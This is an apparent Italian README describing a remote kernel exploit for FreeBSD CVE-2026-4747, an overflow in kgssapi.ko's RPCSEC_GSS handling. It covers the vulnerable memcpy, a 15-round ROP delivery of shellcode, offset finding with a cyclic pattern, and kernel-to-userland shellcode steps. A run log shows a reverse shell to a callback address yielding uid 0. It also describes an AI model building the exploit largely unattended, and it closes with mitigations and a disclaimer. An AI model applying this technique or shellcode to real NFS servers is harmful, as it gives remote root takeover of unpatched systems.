
Exploit RCE del kernel remoto per FreeBSD CVE-2026-4747, un buffer overflow dello stack in kgssapi.ko che porta a una shell di root tramite catena ROP e shellcode.
____ __ ______ ____ ___ ____ __ _ _____ _ _ ___
/ ___/\ \ / / ___| |___ \ / _ \___ \ \ \ | ||___ | || ||__ \
| | \ \ / /| | ___ __) | | | |__) | \ \ _ | | / /| || |_ ) |
| |___ \ V / | |___|___| / __/| |_| / __/ \ \ | |__| | / / |__ _|/ /
\____| \_/ \____| |_____|\___/_____| \_\ \____/ /_/ |_||___|
Stack Buffer Overflow in kgssapi.ko → Root Shell in ~4 hours
"Il primo exploit di RCE remota del kernel scoperto e sfruttato da un'IA. Tempo totale: ~4 ore di lavoro reale."
— Scoperto da Nicholas Carlini usando Claude (Anthropic) · Pubblicato 26 Mar 2026
CVE-2026-4747 è una vulnerabilità di overflow del buffer nello stack (stack buffer overflow) situata in kgssapi.ko, il modulo del kernel di FreeBSD che implementa l'autenticazione RPCSEC_GSS per NFS.
La funzione svc_rpc_gss_validate() copia un credential body controllato dall'attaccante in un buffer di 128 byte nello stack (rpchdr[]) senza verificarne la dimensione. Poiché 32 byte sono già occupati dai campi dell'header RPC, restano solo 96 byte liberi — ma il layer XDR consente credential fino a 400 byte, fornendo 304 byte di overflow.
| Campo | Valore |
|---|---|
| CVE ID | CVE-2026-4747 |
| CWE | CWE-121 (Stack-based Buffer Overflow) |
| Componente | kgssapi.ko / librpcgss_sec |
| Protocollo | NFS / RPCSEC_GSS / Kerberos |
| Privilegio richiesto | Ticket Kerberos valido (basso privilegio) |
| Impatto | Remote Kernel Code Execution → uid 0 |
| CVSS | 9.8 Critical |
| Patch | FreeBSD-SA-26:08.rpcsec_gss |
26 Mar 2026 ── FreeBSD pubblica FreeBSD-SA-26:08.rpcsec_gss
Credito: "Nicholas Carlini using Claude, Anthropic"
29 Mar 2026 ── 09:45 AM PDT: Viene richiesto a Claude di sviluppare un exploit
05:00 PM PDT: Claude consegna una shell di root funzionante
Totale: ~7h wall clock / ~4h di lavoro reale di Claude
L'umano è stato AFK per gran parte del processo.
/* In svc_rpc_gss_validate() — kgssapi.ko */
uint8_t rpchdr[128]; /* Buffer nello stack */
/* 32 byte già consumati dai campi dell'header RPC */
/* Restano solo 96 byte liberi */
/* XDR consente credential fino a 400 byte */
/* 400 - 96 = 304 byte di overflow → RIP hijack */
memcpy(rpchdr, credential_body, credential_len); /* ← BUG: senza verifica della dimensione */
FreeBSD 14.x non ha:
int32_t[])Questo rende l'overflow → controllo di RIP diretto.
Attaccante (rete)
│
│ Ticket Kerberos valido per nfs/target@REALM
│
▼
NFS Server (porta 2049/TCP)
│
│ Richiesta RPCSEC_GSS con credential_len = 400
│
▼
svc_rpc_gss_validate() ← kernel ring 0
│
│ memcpy senza verifica della dimensione
│ [128 byte buffer + 304 byte overflow]
│
▼
Stack Smashing → RIP controllato → ROP chain → Shellcode
│
▼
kproc_create() + kern_execve("/bin/sh") → uid=0 reverse shell
Claude ha risolto 6 problemi distinti per passare dall'advisory alla shell di root:
# VM FreeBSD 14.4-RELEASE con:
# - 2+ CPU (FreeBSD genera 8 thread NFS per CPU; l'exploit necessita di 15 round)
# - kgssapi.ko caricato
# - NFS attivo sulla porta 2049
# - MIT Kerberos KDC configurato (richiesto per raggiungere il codice vulnerabile)
# - Port forwarding QEMU: host:2049 → guest:2049, host:8888 → guest:88 (KDC)
# Configurazione Kerberos critica sull'attaccante:
# /etc/krb5.conf
[libdefaults]
rdns = false # Senza questo: ticket per nfs/localhost@REALM (errato)
dns_canonicalize_hostname = false # Il server rifiuta con KRB5KRB_AP_WRONG_PRINC
Lo shellcode misura 432 byte ma ci sono solo 200 byte per la ROP chain per pacchetto.
Round 1: ROP → pmap_change_prot(BSS, RWX) ← rendere BSS eseguibile
Round 2-14: ROP → write di 32 byte di shellcode nel BSS (4 write × 8 byte)
Round 15: ROP → write degli ultimi byte + JUMP allo shellcode
Budget per round: 4 write × 40 byte = 160 byte + 24 byte exit = 184 byte ✓ (< 200)
; Ogni round termina con kthread_exit(0) invece di un ritorno normale
; Il server non crasha — perde semplicemente un thread NFS
; Con 2 CPU: 16 thread disponibili → sufficienti per 15 round
# Sequenza De Bruijn → ogni sottostringa di 8 byte è unica
# Inviata come credential body → il kernel crasha → leggere RIP dal crash dump
# Il disassembly diceva offset 168 → reale: 200 byte
# Differenza: 32 byte dell'header GSS che l'analisi statica non considerava
pattern = cyclic(400) # De Bruijn di 400 byte
# Crash dump: instruction pointer = 0x6941624162413941
# → cyclic_find(0x6941624162413941) = 200
Lo shellcode gira in un thread NFS puro del kernel — senza vmspace, senza trapframe.
/* Fase 1 (nello shellcode del thread NFS dirottato): */
kproc_create(worker_func, NULL, NULL, 0, 0, "revshell");
kthread_exit(); /* Uccidere il thread NFS in modo pulito */
/* Fase 2 (nel nuovo processo): */
/* 1. Pulire i debug registers (bug hardware - vedi Passo 5) */
__asm__("xor %%eax, %%eax; mov %%rax, %%dr7" ::: "rax");
/* 2. Eseguire /bin/sh */
kern_execve("/bin/sh", args, envp);
/* 3. CRITICO: Pulire il flag P_KPROC */
/* Senza questo, fork_exit() chiama kthread_exit() e uccide il processo */
proc->p_flag &= ~P_KPROC;
/* 4. Ritorno → fork_exit() → userret() → iretq → ring 3 → uid=0 shell */
Sintomo: Il processo figlio crasha con trap 1 (debug exception) su istruzione valida.
Causa: kproc_create/fork1 copia il PCB del padre, ereditando i breakpoint di DDB
rimasti da crash precedenti durante lo sviluppo dell'exploit.
Fix: Due istruzioni prima di kproc_create:
xor eax, eax
mov dr7, rax ← Disabilita tutti gli hardware breakpoint
$ python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================
Target: 127.0.0.1:2049
Callback: 10.0.2.2:4444
SPN: nfs/[email protected]
Shellcode: 432 byte (54 qword)
Delivery: 15 round (1 pmap + 14 write)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX)
[+] BSS is now RWX
[R2/15] write (4 qword → 0xffffffff8198a800) ✓
[R3/15] write (4 qword → 0xffffffff8198a820) ✓
...
[R15/15] write + EXECUTE → JUMP 0xffffffff8198a800
[*] Shellcode delivered and executing.
[*] kproc_create → kern_execve('/bin/sh -c ...')
[*] Reverse shell → 10.0.2.2:4444
[+] Connection from 127.0.0.1:41320
[+] Got shell!
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
# Scaricare FreeBSD 14.4-RELEASE
curl -O https://download.freebsd.org/releases/amd64/amd64/ISO-IMAGES/14.4/FreeBSD-14.4-RELEASE-amd64-disc1.iso
# Creare il disco e avviare la VM con 2+ CPU
qemu-img create -f qcow2 freebsd-vuln.qcow2 20G
qemu-system-x86_64 \
-hda freebsd-vuln.qcow2 \
-cdrom FreeBSD-14.4-RELEASE-amd64-disc1.iso \
-m 2G \
-smp 2 \ # 2+ CPU per 16+ thread NFS
-net user,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
-net nic \
-nographic 2>&1 | tee qemu.log # Log per leggere i crash dump
# Dentro FreeBSD: configurare NFS + Kerberos
kldload kgssapi
echo 'nfs_server_enable="YES"' >> /etc/rc.conf
echo 'gssd_enable="YES"' >> /etc/rc.conf
# Setup KDC di base
pkg install heimdal
# Creare i principal: nfs/[email protected], [email protected]
kadmin -l add nfs/[email protected]
kadmin -l add [email protected]
1. Installare FreeBSD 14.4-RELEASE in VMware
2. In Network Adapter: selezionare "NAT" o "Host-only"
3. Configurare il port forwarding in VMware NAT:
- Host 2049 TCP → Guest 2049
- Host 88 TCP/UDP → Guest 88 (KDC)
4. Stesso setup di NFS/Kerberos di QEMU
5. In /etc/krb5.conf dell'attaccante:
kdc = 127.0.0.1:88 (punta al port forward)
# Aggiornare FreeBSD alla versione patchata
freebsd-update fetch install
# Verificare che l'advisory sia patchato
freebsd-version -k # Deve mostrare la versione post-SA-26:08
# 1. Disabilitare kgssapi se RPCSEC_GSS non è necessario
kldunload kgssapi
# In /boot/loader.conf:
# kgssapi_load="NO"
# 2. Limitare l'accesso NFS con il firewall
ipfw add deny tcp from any to any 2049 not via lo0
# Oppure con pf:
# block in quick on em0 proto tcp to port 2049
# 3. Richiedere l'autenticazione Kerberos solo da IP fidati
# /etc/exports:
# /data -sec=krb5 -network=192.168.1.0 -mask=255.255.255.0
I computer trovano bug con i fuzzer da decenni. Ma trovare un bug e sfruttarlo sono cose completamente diverse. Lo sviluppo di exploit richiede di comprendere il kernel, costruire ROP chain, gestire i layout di memoria, fare debug dei crash e adattarsi quando qualcosa fallisce.
Questo è sempre stato considerato territorio esclusivo degli umani.
CVE-2026-4747 dimostra che quella linea si è spostata.
Claude ha risolto 6 problemi di kernel exploit development in modo autonomo in ~4 ore: setup del laboratorio, delivery multi-pacchetto, uscita pulita dai thread, debug degli offset, transizione kernel-to-userland e un bug hardware dei breakpoint non documentato. Due exploit funzionanti con strategie diverse. Entrambi hanno funzionato al primo tentativo.
Questo repository è esclusivamente per ricerca in cybersecurity, documentazione tecnica e scopi educativi. L'exploit documentato qui è stato sviluppato in un ambiente controllato e segnalato responsabilmente ai manutentori di FreeBSD prima della pubblicazione. Non usarlo contro sistemi senza autorizzazione esplicita e scritta. L'autore non è responsabile dell'uso improprio.
Credito originale: Nicholas Carlini + Claude (Anthropic) Advisory: FreeBSD-SA-26:08.rpcsec_gss
Stack overflow → ROP → shellcode → kproc_create → iretq → uid=0